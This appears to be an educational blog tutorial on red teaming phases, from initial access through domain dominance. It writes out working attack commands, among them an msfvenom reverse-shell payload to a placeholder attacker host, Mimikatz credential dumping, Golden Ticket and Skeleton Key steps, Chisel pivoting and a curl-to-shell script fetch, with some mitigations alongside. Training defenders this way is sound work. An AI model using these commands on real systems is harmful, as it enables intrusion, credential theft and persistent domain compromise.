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Introduction
Red teaming simulates real-world adversary behaviors to test an organization’s detection and response capabilities. The Red Teaming Mindmap provides a structured visual guide to the entire offensive security lifecycle—from initial access to full domain compromise—helping security professionals understand attack paths, tooling, and tradecraft used in modern penetration testing and adversary emulation.
Learning Objectives
- Understand and execute the key phases of a red team engagement, including initial access, credential access, privilege escalation, and lateral movement.
- Apply specific Linux and Windows commands for common offensive techniques such as Kerberoasting, Impacket-based lateral movement, and token impersonation.
- Build a practical red teaming lab environment and learn mitigation strategies to strengthen enterprise defenses.
You Should Know
1. Initial Access: Phishing, Exploits, and Misconfigurations
Initial access is the entry point. Attackers leverage phishing emails, public exploits, or misconfigured services.
Step‑by‑step guide – Simulate a phishing campaign with GoPhish (Linux):
1. Install GoPhish: `wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip && unzip gophish-.zip`
2. Run: `sudo ./gophish` (default admin interface on https://127.0.0.1:3333)
3. Configure a landing page that clones a login portal and set up an SMTP relay.
4. Launch a test campaign to capture credentials (ensure proper authorization).
Generate a malicious payload with msfvenom (Linux):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o payload.exe
Start a Metasploit handler: `use exploit/multi/handler` → set payload → exploit.
Scan for misconfigurations (nmap + nikto):
nmap -sV -p- --script=vuln 192.168.1.0/24 nikto -h http://target.com
2. Credential Access: Kerberoasting and Credential Dumping
Credential access allows attackers to steal password hashes or tickets. Kerberoasting targets service accounts in Active Directory.
Kerberoasting with Impacket (Linux):
Install Impacket git clone https://github.com/SecureAuthCorp/impacket.git && cd impacket && pip install . Request service tickets for SPNs python3 GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request
Crack the ticket offline using `hashcat -m 13100 ticket_hash.txt rockyou.txt`
Credential dumping with Mimikatz (Windows on compromised host):
privilege::debug sekurlsa::logonpasswords Dump clear-text passwords and hashes lsadump::sam Dump SAM hive
Mitigation: Use Group Managed Service Accounts (gMSA), enforce strong passwords, and monitor event ID 4769 for anomalous Kerberos TGS requests.
- Privilege Escalation: Active Directory Abuse and Token Impersonation
After initial credentials, escalate to Domain Admin or SYSTEM. Common vectors: unconstrained delegation, Kerberoasted accounts, and token impersonation.
Abuse unconstrained delegation with PowerView (Windows PowerShell):
Import-Module .\PowerView.ps1
Get-NetComputer -Unconstrained | select dnshostname
Invoke-Command -ComputerName TARGET -ScriptBlock { whoami }
Token impersonation using Incognito (Metasploit):
meterpreter > load incognito meterpreter > list_tokens -u meterpreter > impersonate_token "DOMAIN\Administrator"
Linux privilege escalation check (LinPEAS):
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Mitigation: Disable unnecessary delegation, enforce least privilege, and regularly audit ACLs.
4. Lateral Movement: SMB, WinRM, and Impacket Tools
Lateral movement expands control across the network. Tools like Impacket, PsExec, and WinRM are standard.
Using Impacket’s psexec (Linux to Windows):
python3 psexec.py DOMAIN/user:password@TARGET_IP cmd.exe
WinRM lateral movement via Evil-WinRM (Linux):
gem install evil-winrm evil-winrm -i TARGET_IP -u username -p password
WMI execution with Impacket:
python3 wmiexec.py DOMAIN/user:password@TARGET_IP whoami
Step‑by‑step – Set up a reverse socks proxy with Chisel for stealthy movement:
1. On attacker: `./chisel server -p 8000 –reverse`
2. On compromised host: `./chisel client ATTACKER_IP:8000 R:socks`
3. Proxy traffic via `proxychains` to pivot.
Detection: Monitor for event ID 4648 (logon with explicit credentials), 5140 (SMB share access), and unusual WinRM traffic (port 5985/5986).
- Persistence & Domain Dominance: Golden Ticket and Skeleton Key
Once domain admin is achieved, attackers implant persistence. The Golden Ticket (KRBTGT hash) allows access to any service.
Create a Golden Ticket with Mimikatz:
lsadump::dcsync /user:krbtgt Dump KRBTGT hash kerberos::golden /user:Administrator /domain:DOMAIN /sid:S-1-5-21... /krbtgt:HASH /ticket:ticket.kirbi kerberos::ptt ticket.kirbi Pass the ticket
Skeleton Key (persistence on Domain Controller):
privilege::debug misc::skeleton Injects a master password "mimikatz"
Then connect using `net use \\DC_IP\IPC$ /user:Administrator mimikatz`
Mitigation: Regularly change KRBTGT password twice (to invalidate existing tickets), use Protected Users group, and enable Credential Guard.
- Red Teaming Toolchain Setup (Cobalt Strike & Caldera)
For full‑scale emulation, red teams use C2 frameworks. Here’s a basic setup for MITRE Caldera (open-source):
git clone https://github.com/mitre/caldera.git --recursive cd caldera pip install -r requirements.txt python server.py --insecure
Access web UI at `https://localhost:8888`. Create an agent (e.g., Sandcat) and deploy to target via PowerShell one‑liner.
Cobalt Strike team server (Linux):
./teamserver ATTACKER_IP password ./cobaltstrike-client
Practice adversary emulation plans: Use the Atomic Red Team (atomicredteam.io) to test individual techniques.
What Undercode Say
- Key Takeaway 1: The Red Teaming Mindmap is not just a diagram—it’s a practical curriculum. Each phase demands hands‑on mastery of tools like Impacket, Mimikatz, and PowerView.
- Key Takeaway 2: Defenders must think like attackers. The same commands used for Kerberoasting or Golden Tickets help blue teams build detection rules and prioritize hardening (e.g., disabling RC4, monitoring LSASS access).
Analysis: The offensive security landscape is shifting toward automated adversary emulation and purple teaming. While the mindmap covers classic TTPs (Tactics, Techniques, and Procedures), modern red teams must integrate cloud misconfigurations (AWS, Azure AD) and AI‑driven payload generation. Organizations that only focus on perimeter defenses will fail—lateral movement and credential reuse remain the top causes of breach escalation. The commands and steps outlined above should be practiced in isolated labs (e.g., HackTheBox, Detection Lab) before any live engagement. Remember: authorization is the difference between red teaming and illegal hacking.
Prediction
In the next 18–24 months, red teaming will increasingly incorporate AI‑generated phishing lures and automated privilege escalation chains. MITRE ATT&CK will likely release a dedicated “AI Tactics” matrix. Defenders will counter with real‑time behavioral analytics and identity‑centric zero trust architectures. However, the fundamentals—Kerberoasting, Golden Tickets, and SMB lateral movement—will remain relevant because legacy AD environments cannot be patched overnight. The demand for professionals who can both execute the red team mindmap and articulate mitigations to management will skyrocket. Start building your home lab today.
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